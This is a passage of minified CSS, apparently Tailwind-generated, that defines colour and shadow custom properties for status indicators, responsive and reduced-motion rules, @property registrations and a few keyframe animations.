0%, #e8962824 22%, #e8962800 46%);--rim-rest:linear-gradient(135deg, #ffffffe6 0%, #fff0 40%);--sheen:linear-gradient(180deg, #fff6, #fff0 96px);--elev-1:0 0 0 .5px #26201a1f, 0 1px 2px #26201a0f, 0 14px 30px -18px #26201a4d;--elev-2:0 0 0 .5px #26201a1f, 0 1px 2px #26201a0f, 0 24px 46px -26px #26201a5c;--elev-3:0 0 0 .5px #26201a24, 0 2px 3px #26201a12, 0 40px 80px -34px #26201a73;--fill-quiet:#ffffff9e;--fill-hover:#ffffff8c;--fill-selected:#ffffffd9;--fill-zebra:#26201a09;--control-rim:#26201a21;--control-top:#ffffffe6;--well:#26201a0e;--well-shade:#26201a0f;--thumb:#fff;--thumb-drop:#26201a4d;--hairline:#26201a14;--rule:#26201a21;--rule-strong:#26201a47;--ink:#181613;--ink-secondary:#3f3b36;--ink-muted:#5b564f;--status-needs-you:#f4a62a;--status-needs-you-edge:#a35a00;--label-needs-you:#864600;--on-needs-you:#221400;--glow-needs-you:#d6801466;--status-working:#36577e;--status-working-fill:#5b7ca4;--status-working-top:#ffffff38;--status-idle:#6f6961;--answered-fill:#6f696124;--status-finished:#5b564f;--tube:#ffffff9e;--tube-rim:#26201a29;--tube-top:#fff;--unmeasured:#b2aca3;--focus:#36577e;--scrim:#26201a47}@media not all and (min-width:761px){:root{--text-name:28px;--text-wait:38px;--spacing-label-col:140px;--spacing-waited-name:104px}}@media(prefers-reduced-motion:reduce){*,:before,:after{scroll-behavior:auto!important;transition-duration:.01ms!important;animation-duration:.01ms!important;animation-iteration-count:1!important;animation-delay:0s!important}}@property --tw-border-spacing-x{syntax:"<length>";inherits:false;initial-value:0}@property --tw-border-spacing-y{syntax:"<length>";inherits:false;initial-value:0}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-rotate-x{syntax:"*";inherits:false}@property --tw-rotate-y{syntax:"*";inherits:false}@property --tw-rotate-z{syntax:"*";inherits:false}@property --tw-skew-x{syntax:"*";inherits:false}@property --tw-skew-y{syntax:"*";inherits:false}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-leading{syntax:"*";inherits:false}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-ordinal{syntax:"*";inherits:false}@property --tw-slashed-zero{syntax:"*";inherits:false}@property --tw-numeric-figure{syntax:"*";inherits:false}@property --tw-numeric-spacing{syntax:"*";inherits:false}@property --tw-numeric-fraction{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"<percentage>";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"<percentage>";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"<length>";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"<percentage>";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-duration{syntax:"*";inherits:false}@property --tw-content{syntax:"*";inherits:false;initial-value:""}@property --tw-ease{syntax:"*";inherits:false}@keyframes lamp{0%,to{stroke-opacity:.38}50%{stroke-opacity:.8}}@keyframes spin-loader{to{transform:rotate(360deg)}}@keyframes rise{0%{opacity:0;transform:translateY(6px)}to{opacity:1;transform:translateY(0)}}@keyframes fade-in{0%{opacity:0}}@keyframes fade-out{to{opacity:0}}@keyframes drop{to{transform:translateY(6px)}}
|